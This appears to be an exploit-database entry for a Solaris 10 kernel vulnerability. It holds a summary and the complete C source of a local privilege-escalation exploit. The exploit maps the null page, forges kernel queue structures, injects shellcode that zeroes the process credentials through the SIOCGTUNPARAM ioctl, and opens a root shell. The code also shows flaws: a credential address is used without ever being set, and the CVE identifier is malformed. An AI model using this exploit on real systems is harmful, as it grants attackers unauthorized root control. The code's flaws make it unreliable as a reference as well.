header-logo
Suggest Exploit
vendor:
Solaris
by:
andi / void.at
7.2
CVSS
HIGH
Local Solaris Kernel Root Exploit
264
CWE
Product Name: Solaris
Affected Version From: < 5.10 138888-01
Affected Version To: < 5.10 138888-01
Patch Exists: YES
Related CWE: CVE-2008-568
CPE: o:sun:sunos:5.10
Metasploit: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Solaris
2008

hoagie_solaris_siocgtunparam.c

This exploit is a local Solaris kernel root exploit for Solaris versions < 5.10 138888-01. It was reported by Tobias Klein and exploited by peri.carding. The exploit works by creating a socket, mapping the zero page, and then preparing a null page. After that, the write queue is cleaned up and the uname and id commands are used to verify that the exploit was successful. The exploit then makes sure that ip_extract_tunreq() will return 0 and ipifp is still set to NULL by using an interface alias starting with zero. After that, ipif->ipif_ill is used for mutex enter and the offset for an ill_t structure is set. Finally, putnext() is called with a queue which is used to add a custom callback function.

Mitigation:

The best way to mitigate this vulnerability is to update to a version of Solaris that is not affected by this exploit.
Source

Exploit-DB raw data:

/***********************************************************
 * hoagie_solaris_siocgtunparam.c
 * LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - CVE-2008-568
 *
 * Bug reported by Tobias Klein
 * http://www.trapkit.de/advisories/TKADV2008-015.txt
 * Exploit by: peri.carding (http://www.void.at/main/)
 * 
 * $ ./hoagie_solaris_siocgtunparam
 * hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local
 * -andi / void.at
 *
 * [*] socket created
 * [*] mapping zero page successful
 * [*] process cred address: 0xd3853894
 * [*] prepare null page
 * [*] clean up write queue
 * # uname -a
 * SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
 * # id
 * uid=0(root) gid=0(root)
 * #
 *
 * First of all we have to make sure that ip_extract_tunreq() will
 * return 0 and ipifp is still set to NULL. This can be achieved by
 * using an interface alias starting with zero. (the interface ip.tun0
 * must not exist because ipif_lookup_on_name() will "fail" to get
 * null page)
 *
 * ip_if.c / ipif_lookup_on_name()
 * ...
 *    if (&cp[2] < endp && cp[1] == '0')
 *       return (NULL);
 * ...
 * 
 * In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter
 * so we have to set the offet for an ill_t structure. Later putnext()
 * will be called with a queue (see ill_t). We can use this queue to
 * add a custom callback function that is used by putnext().
 * 
 * ip_if.c / ip_sioctl_tunparam(): 
 * ...
 *      ill = ipif->ipif_ill;
 *      mutex_enter(&connp->conn_lock);
 *      mutex_enter(&ill->ill_lock);
 * ...
 *      if (success) {
 *         ip1dbg(("sending down tunparam request "));
 *         putnext(ill->ill_wq, mp1);
 *         return (EINPROGRESS);
 * ...
 *
 * putnext.c / putnext():
 * ...
 *      mutex_exit(QLOCK(qp));
 *      STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
 *         mp->b_datap->db_base);
 *      (*putproc)(qp, mp);
 * ...
 *
 * ill_wq can't be modified from kernel space because its allocated
 * in userland -> so we cannot modify the ill_wq queue in kernel
 * code. thereforce a signal handler will clean the queue in userland.
 *
 * Affected Software:      Solaris 10 without patch 138888-01 (SPARC)
 *                         Solaris 10 without patch 138889-01 (x86)
 *                         OpenSolaris < snv_77 (SPARC)
 *                         OpenSolaris < snv_77 (x86) 
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#define _STRUCTURED_PROC 1

#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/mman.h>
#include <net/if.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/procfs.h>

int *nullpage;

void clean_up_wq() {
   fprintf(stderr, "[*] clean up write queue\n");
   *(nullpage + 0x208 / 4) = 0x000; 
}

int get_proc_address() {
   int fd;
   char filename[512];
   psinfo_t psinfo;

   snprintf(filename, sizeof(filename), "/proc/%d/psinfo", getpid());
   fd = open(filename, O_RDONLY);
   if (fd == -1) {
      return -1;
   }

   memset(&psinfo, 0, sizeof(psinfo_t));
   if (read(fd, &psinfo, sizeof(psinfo_t)) != sizeof(psinfo_t)) {
      close(fd);
      return -1;
   }

   close(fd);

   return psinfo.pr_addr;
}

/**
 * \xff\xff\xff\xff will be replaced by target process credential address
 * (can be any process). set cr_uid, cr_gid, cr_ruid and cr_rguid to 0.
 */
char shellcode[] = 
   "\x50"
   "\xb8\xff\xff\xff\xff"
   "\x8b\x00"
   "\xc7\x40\x10\x00\x00\x00\x00"
   "\xc7\x40\x0c\x00\x00\x00\x00"
   "\xc7\x40\x08\x00\x00\x00\x00"
   "\xc7\x40\x04\x00\x00\x00\x00"
   "\x58"
   "\xc3";

int main(int argc, char **argv) { 
   int s;
   struct iftun_req req;
   int cred_addr;

   fprintf(stderr,
           "hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local\n"
	              "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
   if (s == -1) {
      fprintf(stderr, "[-] can't create socket\n");
      return -1;     
   } else {
      fprintf(stderr, "[*] socket created\n");
   }

   memset(&req, 0, sizeof(req));
   strcpy(req.ifta_lifr_name, "ip.tun0:012");

   nullpage = (int*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
   if (nullpage == MAP_FAILED) {
      fprintf(stderr, "[-] can't mmap null page\n");
      return -2;
   } else {
      fprintf(stderr, "[*] mapping zero page successful\n");
   }

   if (cred_addr == -1) {
      fprintf(stderr, "[-] can't get process address\n");
      return -3;
   } else {
      cred_addr += 0x5 * sizeof(int *);
      fprintf(stderr, "[*] process cred address: 0x%08x\n", cred_addr);
      memcpy(shellcode + 2, &cred_addr, 4);
   }

   fprintf(stderr, "[*] prepare null page\n");
   memset(nullpage, 0, 0x1000);
   /* offset   0x0 = ipif_t */
   /* offset   0x4 = ipif_ll */
   *(nullpage + 0x004 / 4) = 0x200;
   /* offset 0x200 = ill_t */
   /* offset 0x008 = ill_wq */
   *(nullpage + 0x208 / 4) = 0x400; 
   /* offset 0x400 = queue_t */
   /* offset 0x00c = q_next */
   *(nullpage + 0x40c / 4) = 0x600;
   /* offset 0x600 = queue_t (second) */
   /* offset 0x000 = qinfo */
   *(nullpage + 0x600 / 4) = 0x800;
   /* offset 0x800 = qinfo */
   /* offset 0x000 = qi_putp */
   *(nullpage + 0x800 / 4) = 0x900;
   memcpy((char*)nullpage + 0x900, shellcode, sizeof(shellcode));

   /* install signla handler to clean up write queue */
   signal(SIGALRM, clean_up_wq);
   alarm(1);

   /* launch attack */
   ioctl(s, SIOCGTUNPARAM, &req);

   /* start root shell - not really required because p_cred is shared
    * but we want the nice # prompt ;-) */
   system("/bin/sh");

   return 0;
}